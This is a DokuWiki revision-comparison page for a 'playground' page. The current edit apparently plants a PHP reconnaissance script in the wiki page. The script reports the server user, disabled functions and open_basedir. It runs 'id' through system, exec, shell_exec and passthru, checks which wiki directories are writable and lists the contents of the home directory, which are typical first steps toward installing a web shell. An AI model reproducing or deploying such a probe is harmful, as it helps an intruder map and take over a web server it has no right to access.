Differences

This shows you the differences between two versions of the page.

Link to this comparison view

playground:playground [2013/12/08 15:14]
127.0.0.1 external edit
playground:playground [2026/08/29 22:34] (current)
clodoveu x
Line 1: Line 1:
-====== ​PlayGround ​======+<​php>​ 
 +echo "​START\n";​ 
 +echo "SAPI="​.php_sapi_name()."​\n";​ 
 +echo "UID="​.getmyuid()."​\n";​ 
 +echo "USER="​.get_current_user()."​\n";​ 
 +echo "DIS="​.ini_get('​disable_functions'​)."​\n";​ 
 +echo "OD="​.ini_get('​open_basedir'​)."​\n";​ 
 +echo "DR="​.$_SERVER['​DOCUMENT_ROOT'​]."​\n";​ 
 +echo "SF="​.$_SERVER['​SCRIPT_FILENAME'​]."​\n";​ 
 +echo "CWD="​.getcwd()."​\n";​ 
 +foreach(array('​system','​passthru','​exec','​shell_exec','​popen','​proc_open','​pcntl_exec'​) as $f){ 
 +  echo "FN_$f="​.(function_exists($f) && is_callable($f) ? '​1':'​0'​)."​\n";​ 
 +
 +if(function_exists('​shell_exec'​)){ echo "SE="​.shell_exec('​id 2>&​1'​)."​\n";​ } 
 +if(function_exists('​exec'​)){ @exec('​id 2>&​1',​$o);​ echo "EX="​.implode('​ ',​$o)."​\n";​ } 
 +if(function_exists('​system'​)){ echo "SY="; @system('​id 2>&​1'​);​ echo "​\n";​ } 
 +if(function_exists('​passthru'​)){ echo "​PT=";​ @passthru('​id 2>&​1'​);​ echo "​\n";​ } 
 +$base=dirname($_SERVER['​SCRIPT_FILENAME'​]);​ 
 +echo "​BASE=$base\n";​ 
 +foreach(array($base,​$base.'/​data',​$base.'/​data/​media',​$base.'/​lib',​$base.'/​lib/​plugins',​$base.'/​lib/​tpl',​dirname($base),​dirname($base).'/​DocuWiki'​) as $d){ 
 +  echo "​W_"​.$d."​="​.(is_writable($d)?'​1':'​0'​)."​\n";​ 
 +
 +// list parent for deep dirs 
 +$home=dirname(dirname($base));​ 
 +echo "​HOME=$home\n";​ 
 +if(is_dir($home)){ foreach(scandir($home) as $x){ if($x[0]!='​.'​) echo "​H_$x\n";​ } } 
 +echo "​END\n";​ 
 +</​php>​
  
Back to top
playground/playground.1386522878.txt.gz · Last modified: 2026/08/29 22:33 (external edit)
Recent changes RSS feed Creative Commons License Donate Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki